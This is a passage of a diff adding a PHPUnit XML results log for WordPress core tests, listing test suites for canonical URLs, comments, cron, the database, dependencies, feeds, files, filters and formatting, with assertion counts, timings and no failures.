+        <testcase name="test with data set #54" assertions="1" time="0.312467"/>
+        <testcase name="test with data set #55" assertions="1" time="0.334956"/>
+        <testcase name="test with data set #56" assertions="1" time="0.330481"/>
+        <testcase name="test with data set #57" assertions="1" time="0.304210"/>
+        <testcase name="test with data set #58" assertions="1" time="0.336293"/>
+        <testcase name="test with data set #59" assertions="1" time="0.312042"/>
+        <testcase name="test with data set #60" assertions="1" time="0.311105"/>
+        <testcase name="test with data set #61" assertions="1" time="0.308070"/>
+        <testcase name="test with data set #62" assertions="1" time="0.309651"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Canonical_CustomRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/canonical/customRules.php" fullPackage="Tests.Canonical" tests="2" assertions="4" failures="0" errors="0" time="0.690837">
+      <testsuite name="Tests_Canonical_CustomRules::test" tests="2" assertions="4" failures="0" errors="0" time="0.690837">
+        <testcase name="test with data set #0" assertions="2" time="0.331091"/>
+        <testcase name="test with data set #1" assertions="2" time="0.359746"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Canonical_NoRewrite" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/canonical/noRewrite.php" fullPackage="Tests.Canonical" tests="9" assertions="13" failures="0" errors="0" time="2.743152">
+      <testsuite name="Tests_Canonical_NoRewrite::test" tests="9" assertions="13" failures="0" errors="0" time="2.743152">
+        <testcase name="test with data set #0" assertions="1" time="0.300615"/>
+        <testcase name="test with data set #1" assertions="1" time="0.298658"/>
+        <testcase name="test with data set #2" assertions="1" time="0.301470"/>
+        <testcase name="test with data set #3" assertions="3" time="0.296418"/>
+        <testcase name="test with data set #4" assertions="3" time="0.307302"/>
+        <testcase name="test with data set #5" assertions="1" time="0.316321"/>
+        <testcase name="test with data set #6" assertions="1" time="0.306754"/>
+        <testcase name="test with data set #7" assertions="1" time="0.309331"/>
+        <testcase name="test with data set #8" assertions="1" time="0.306283"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Canonical_PageOnFront" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/canonical/pageOnFront.php" fullPackage="Tests.Canonical" tests="3" assertions="3" failures="0" errors="0" time="1.044376">
+      <testsuite name="Tests_Canonical_PageOnFront::test" tests="3" assertions="3" failures="0" errors="0" time="1.044376">
+        <testcase name="test with data set #0" assertions="1" time="0.347247"/>
+        <testcase name="test with data set #1" assertions="1" time="0.340375"/>
+        <testcase name="test with data set #2" assertions="1" time="0.356754"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Canonical_PermalinkFormat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/canonical/permalinkFormats.php" fullPackage="Tests.Canonical" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Comment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment.php" fullPackage="Tests" tests="1" assertions="3" failures="0" errors="0" time="0.047572">
+      <testcase name="test_wp_update_comment" class="Tests_Comment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment.php" line="7" assertions="3" time="0.047572"/>
+    </testsuite>
+    <testsuite name="Tests_Comment_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/query.php" fullPackage="Tests.Comment" tests="5" assertions="95" failures="0" errors="0" time="0.448102">
+      <testcase name="test_get_comment_comment_approved_0" class="Tests_Comment_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/query.php" line="18" assertions="1" time="0.007196"/>
+      <testcase name="test_get_comment_comment_approved_1" class="Tests_Comment_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/query.php" line="27" assertions="2" time="0.006670"/>
+      <testcase name="test_get_comments_for_post" class="Tests_Comment_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/query.php" line="37" assertions="66" time="0.184815"/>
+      <testcase name="test_orderby_meta" class="Tests_Comment_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/query.php" line="82" assertions="20" time="0.038821"/>
+      <testcase name="test_get_status" class="Tests_Comment_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/query.php" line="133" assertions="6" time="0.210600"/>
+    </testsuite>
+    <testsuite name="Tests_Comment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/slashes.php" fullPackage="Tests.Comment" tests="4" assertions="16" failures="0" errors="0" time="0.284735">
+      <testcase name="test_wp_new_comment" class="Tests_Comment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/slashes.php" line="36" assertions="4" time="0.070768"/>
+      <testcase name="test_edit_comment" class="Tests_Comment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/slashes.php" line="70" assertions="4" time="0.073031"/>
+      <testcase name="test_wp_insert_comment" class="Tests_Comment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/slashes.php" line="107" assertions="4" time="0.065853"/>
+      <testcase name="test_wp_update_comment" class="Tests_Comment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/comment/slashes.php" line="135" assertions="4" time="0.075083"/>
+    </testsuite>
+    <testsuite name="Tests_Compat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/compat.php" fullPackage="Tests" tests="5" assertions="12" failures="0" errors="0" time="0.019201">
+      <testcase name="test_mb_substr" class="Tests_Compat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/compat.php" line="7" assertions="4" time="0.005077"/>
+      <testcase name="test_hash_hmac_simple" class="Tests_Compat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/compat.php" line="14" assertions="2" time="0.002308"/>
+      <testcase name="test_hash_hmac_padding" class="Tests_Compat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/compat.php" line="19" assertions="2" time="0.002624"/>
+      <testcase name="test_hash_hmac_output" class="Tests_Compat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/compat.php" line="24" assertions="2" time="0.003052"/>
+      <testcase name="test_json_encode_decode" class="Tests_Compat" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/compat.php" line="29" assertions="2" time="0.006140"/>
+    </testsuite>
+    <testsuite name="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" fullPackage="Tests" tests="11" assertions="34" failures="0" errors="0" time="0.090281">
+      <testcase name="test_wp_get_schedule_empty" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="21" assertions="1" time="0.006025"/>
+      <testcase name="test_schedule_event_single" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="27" assertions="2" time="0.007010"/>
+      <testcase name="test_schedule_event_single_args" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="40" assertions="4" time="0.006806"/>
+      <testcase name="test_schedule_event" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="57" assertions="2" time="0.006835"/>
+      <testcase name="test_schedule_event_args" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="70" assertions="4" time="0.006324"/>
+      <testcase name="test_unschedule_event" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="88" assertions="2" time="0.007898"/>
+      <testcase name="test_clear_schedule" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="101" assertions="5" time="0.009375"/>
+      <testcase name="test_clear_schedule_multiple_args" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="127" assertions="5" time="0.010354"/>
+      <testcase name="test_clear_schedule_new_args" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="156" assertions="6" time="0.012224"/>
+      <testcase name="test_duplicate_event" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="195" assertions="1" time="0.007554"/>
+      <testcase name="test_not_duplicate_event" class="Tests_Cron" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cron.php" line="214" assertions="2" time="0.009876"/>
+    </testsuite>
+    <testsuite name="Tests_DB" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/db.php" fullPackage="Tests" tests="4" assertions="12" failures="0" errors="0" time="0.020205">
+      <testcase name="test_locale_floats" class="Tests_DB" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/db.php" line="49" assertions="2" time="0.009748"/>
+      <testcase name="test_wpdb_supposedly_protected_properties" class="Tests_DB" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/db.php" line="92" assertions="5" time="0.003068"/>
+      <testcase name="test_wpdb_nonexistent_properties" class="Tests_DB" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/db.php" line="108" assertions="4" time="0.003538"/>
+      <testcase name="test_double_escaped_placeholders" class="Tests_DB" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/db.php" line="123" assertions="1" time="0.003851"/>
+    </testsuite>
+    <testsuite name="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" fullPackage="Tests" tests="7" assertions="56" failures="0" errors="0" time="0.016949">
+      <testcase name="test_add" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="7" assertions="5" time="0.002420"/>
+      <testcase name="test_remove" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="20" assertions="4" time="0.002609"/>
+      <testcase name="test_enqueue" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="33" assertions="7" time="0.002800"/>
+      <testcase name="test_dequeue" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="49" assertions="8" time="0.002131"/>
+      <testcase name="test_enqueue_args" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="69" assertions="9" time="0.002196"/>
+      <testcase name="test_dequeue_args" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="87" assertions="12" time="0.002106"/>
+      <testcase name="test_query_and_registered_enqueued" class="Tests_Dependencies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies.php" line="114" assertions="11" time="0.002687"/>
+    </testsuite>
+    <testsuite name="Tests_Dependencies_jQuery" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/jquery.php" fullPackage="Tests.Dependencies" tests="3" assertions="36" failures="0" errors="0" time="0.038982">
+      <testcase name="test_location_of_jquery" class="Tests_Dependencies_jQuery" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/jquery.php" line="9" assertions="9" time="0.018930"/>
+      <testcase name="test_presence_of_jquery_no_conflict" class="Tests_Dependencies_jQuery" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/jquery.php" line="34" assertions="1" time="0.002308"/>
+      <testcase name="test_dont_allow_deregister_core_scripts_in_admin" class="Tests_Dependencies_jQuery" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/jquery.php" line="44" assertions="26" time="0.017744"/>
+    </testsuite>
+    <testsuite name="Tests_Dependencies_Scripts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/scripts.php" fullPackage="Tests.Dependencies" tests="2" assertions="4" failures="0" errors="0" time="0.009785">
+      <testcase name="test_wp_enqueue_script" class="Tests_Dependencies_Scripts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/scripts.php" line="27" assertions="2" time="0.004873"/>
+      <testcase name="test_protocols" class="Tests_Dependencies_Scripts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/scripts.php" line="49" assertions="2" time="0.004912"/>
+    </testsuite>
+    <testsuite name="Tests_Dependencies_Styles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/styles.php" fullPackage="Tests.Dependencies" tests="2" assertions="4" failures="0" errors="0" time="0.009259">
+      <testcase name="test_wp_enqueue_style" class="Tests_Dependencies_Styles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/styles.php" line="27" assertions="2" time="0.004988"/>
+      <testcase name="test_protocols" class="Tests_Dependencies_Styles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/dependencies/styles.php" line="49" assertions="2" time="0.004271"/>
+    </testsuite>
+    <testsuite name="Test_WP_Export_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/export/class-wp-export-query.php" fullPackage="Test.WP.Export" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Test_WP_Export_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/export/functions.export.php" fullPackage="Test.WP.Export" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Test_WP_Export_Writers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/export/writers.php" fullPackage="Test.WP.Export" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Feed_RSS2" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/feed/rss2.php" fullPackage="Tests.Feed" tests="2" assertions="11" failures="0" errors="0" time="0.946312">
+      <testcase name="test_rss" class="Tests_Feed_RSS2" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/feed/rss2.php" line="38" assertions="6" time="0.466878"/>
+      <testcase name="test_channel" class="Tests_Feed_RSS2" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/feed/rss2.php" line="58" assertions="5" time="0.479434"/>
+    </testsuite>
+    <testsuite name="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" fullPackage="Tests" tests="8" assertions="21" failures="0" errors="0" time="0.030500">
+      <testcase name="test_get_file_data" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="19" assertions="6" time="0.003186"/>
+      <testcase name="test_get_file_data_cr_line_endings" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="48" assertions="3" time="0.002659"/>
+      <testcase name="test_unique_filename_is_valid" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="82" assertions="1" time="0.003130"/>
+      <testcase name="test_unique_filename_is_unique" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="91" assertions="3" time="0.004635"/>
+      <testcase name="test_unique_filename_is_sanitized" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="107" assertions="2" time="0.003118"/>
+      <testcase name="test_unique_filename_with_slashes" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="119" assertions="2" time="0.003425"/>
+      <testcase name="test_unique_filename_multiple_ext" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="132" assertions="2" time="0.007429"/>
+      <testcase name="test_unique_filename_no_ext" class="Tests_File" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/file.php" line="144" assertions="2" time="0.002918"/>
+    </testsuite>
+    <testsuite name="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" fullPackage="Tests" tests="11" assertions="54" failures="0" errors="0" time="0.049117">
+      <testcase name="test_simple_filter" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="10" assertions="4" time="0.023157"/>
+      <testcase name="test_remove_filter" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="27" assertions="6" time="0.002701"/>
+      <testcase name="test_has_filter" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="47" assertions="6" time="0.002406"/>
+      <testcase name="test_multiple_filters" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="62" assertions="3" time="0.001626"/>
+      <testcase name="test_filter_args_1" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="79" assertions="3" time="0.002421"/>
+      <testcase name="test_filter_args_2" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="93" assertions="5" time="0.002706"/>
+      <testcase name="test_filter_priority" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="116" assertions="3" time="0.003473"/>
+      <testcase name="test_all_filter" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="147" assertions="7" time="0.002874"/>
+      <testcase name="test_remove_all_filter" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="171" assertions="10" time="0.002755"/>
+      <testcase name="test_filter_ref_array" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="198" assertions="2" time="0.002276"/>
+      <testcase name="test_filter_ref_array_result" class="Tests_Filters" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/filters.php" line="217" assertions="5" time="0.002722"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Autop" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Autop.php" fullPackage="Tests.Formatting" tests="3" assertions="5" failures="0" errors="0" time="0.013149">
+      <testcase name="test_first_post" class="Tests_Formatting_Autop" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Autop.php" line="8" assertions="1" time="0.002958"/>
+      <testcase name="test_skip_pre_elements" class="Tests_Formatting_Autop" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Autop.php" line="70" assertions="3" time="0.007239"/>
+      <testcase name="test_skip_input_elements" class="Tests_Formatting_Autop" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Autop.php" line="97" assertions="1" time="0.002952"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_CleanPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/CleanPre.php" fullPackage="Tests.Formatting" tests="4" assertions="4" failures="0" errors="0" time="0.006731">
+      <testcase name="test_removes_self_closing_br_with_space" class="Tests_Formatting_CleanPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/CleanPre.php" line="10" assertions="1" time="0.002151"/>
+      <testcase name="test_removes_self_closing_br_without_space" class="Tests_Formatting_CleanPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/CleanPre.php" line="17" assertions="1" time="0.001334"/>
+      <testcase name="test_removes_html_br" class="Tests_Formatting_CleanPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/CleanPre.php" line="27" assertions="1" time="0.001577"/>
+      <testcase name="test_removes_p" class="Tests_Formatting_CleanPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/CleanPre.php" line="33" assertions="1" time="0.001669"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_ConvertChars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ConvertChars.php" fullPackage="Tests.Formatting" tests="5" assertions="7" failures="0" errors="0" time="0.012034">
+      <testcase name="test_replaces_windows1252_entities_with_unicode_ones" class="Tests_Formatting_ConvertChars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ConvertChars.php" line="7" assertions="1" time="0.002260"/>
+      <testcase name="test_replaces_latin_letter_z_with_caron" class="Tests_Formatting_ConvertChars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ConvertChars.php" line="16" assertions="1" time="0.002987"/>
+      <testcase name="test_converts_html_br_and_hr_to_the_xhtml_self_closing_variety" class="Tests_Formatting_ConvertChars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ConvertChars.php" line="22" assertions="3" time="0.002592"/>
+      <testcase name="test_escapes_lone_ampersands" class="Tests_Formatting_ConvertChars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ConvertChars.php" line="33" assertions="1" time="0.001963"/>
+      <testcase name="test_removes_category_and_title_metadata_tags" class="Tests_Formatting_ConvertChars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ConvertChars.php" line="37" assertions="1" time="0.002232"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_EscAttr" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscAttr.php" fullPackage="Tests.Formatting" tests="2" assertions="7" failures="0" errors="0" time="0.008065">
+      <testcase name="test_esc_attr_quotes" class="Tests_Formatting_EscAttr" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscAttr.php" line="7" assertions="6" time="0.005331"/>
+      <testcase name="test_esc_attr_amp" class="Tests_Formatting_EscAttr" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscAttr.php" line="28" assertions="1" time="0.002734"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_EscHtml" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscHtml.php" fullPackage="Tests.Formatting" tests="4" assertions="6" failures="0" errors="0" time="0.008921">
+      <testcase name="test_esc_html_basics" class="Tests_Formatting_EscHtml" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscHtml.php" line="7" assertions="3" time="0.002413"/>
+      <testcase name="test_escapes_ampersands" class="Tests_Formatting_EscHtml" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscHtml.php" line="23" assertions="1" time="0.001892"/>
+      <testcase name="test_escapes_greater_and_less_than" class="Tests_Formatting_EscHtml" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscHtml.php" line="29" assertions="1" time="0.002108"/>
+      <testcase name="test_ignores_existing_entities" class="Tests_Formatting_EscHtml" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscHtml.php" line="35" assertions="1" time="0.002508"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_EscTextarea" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscTextarea.php" fullPackage="Tests.Formatting" tests="2" assertions="2" failures="0" errors="0" time="0.004097">
+      <testcase name="test_esc_textarea_charset_iso_8859_1" class="Tests_Formatting_EscTextarea" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscTextarea.php" line="16" assertions="1" time="0.001937"/>
+      <testcase name="test_esc_textarea_charset_utf_8" class="Tests_Formatting_EscTextarea" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscTextarea.php" line="30" assertions="1" time="0.002160"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" fullPackage="Tests.Formatting" tests="9" assertions="31" failures="0" errors="0" time="0.025032">
+      <testcase name="test_spaces" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="7" assertions="2" time="0.002605"/>
+      <testcase name="test_bad_characters" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="12" assertions="10" time="0.003562"/>
+      <testcase name="test_relative" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="26" assertions="4" time="0.002969"/>
+      <testcase name="test_protocol" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="33" assertions="2" time="0.002114"/>
+      <testcase name="test_protocol_case" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="41" assertions="2" time="0.002897"/>
+      <testcase name="test_display_extras" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="46" assertions="2" time="0.002107"/>
+      <testcase name="test_non_ascii" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="51" assertions="3" time="0.002706"/>
+      <testcase name="test_feed" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="57" assertions="5" time="0.003319"/>
+      <testcase name="test_protocol_relative_with_colon" class="Tests_Formatting_EscUrl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/EscUrl.php" line="80" assertions="1" time="0.002753"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_HtmlExcerpt" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/HtmlExcerpt.php" fullPackage="Tests.Formatting" tests="3" assertions="6" failures="0" errors="0" time="0.007417">
+      <testcase name="test_simple" class="Tests_Formatting_HtmlExcerpt" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/HtmlExcerpt.php" line="7" assertions="1" time="0.002273"/>
+      <testcase name="test_html" class="Tests_Formatting_HtmlExcerpt" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/HtmlExcerpt.php" line="10" assertions="1" time="0.002297"/>
+      <testcase name="test_entities" class="Tests_Formatting_HtmlExcerpt" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/HtmlExcerpt.php" line="13" assertions="4" time="0.002847"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_IsEmail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/IsEmail.php" fullPackage="Tests.Formatting" tests="2" assertions="9" failures="0" errors="0" time="0.004567">
+      <testcase name="test_returns_true_if_given_a_valid_email_address" class="Tests_Formatting_IsEmail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/IsEmail.php" line="7" assertions="4" time="0.002814"/>
+      <testcase name="test_returns_false_if_given_an_invalid_email_address" class="Tests_Formatting_IsEmail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/IsEmail.php" line="19" assertions="5" time="0.001753"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" fullPackage="Tests.Formatting" tests="7" assertions="7" failures="0" errors="0" time="0.012757">
+      <testcase name="test_js_escape_simple" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="7" assertions="1" time="0.001535"/>
+      <testcase name="test_js_escape_quotes" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="12" assertions="1" time="0.001830"/>
+      <testcase name="test_js_escape_backslash" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="18" assertions="1" time="0.001462"/>
+      <testcase name="test_js_escape_amp" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="25" assertions="1" time="0.001907"/>
+      <testcase name="test_js_escape_quote_entity" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="30" assertions="1" time="0.001701"/>
+      <testcase name="test_js_no_carriage_return" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="35" assertions="1" time="0.002068"/>
+      <testcase name="test_js_escape_rn" class="Tests_Formatting_JSEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/JSEscape.php" line="41" assertions="1" time="0.002254"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_LikeEscape" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/LikeEscape.php" fullPackage="Tests.Formatting" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" fullPackage="Tests.Formatting" tests="17" assertions="76" failures="0" errors="0" time="0.048527">
+      <testcase name="test_mailto_xss" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="7" assertions="1" time="0.002057"/>
+      <testcase name="test_valid_mailto" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="12" assertions="5" time="0.002234"/>
+      <testcase name="test_invalid_mailto" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="25" assertions="6" time="0.002548"/>
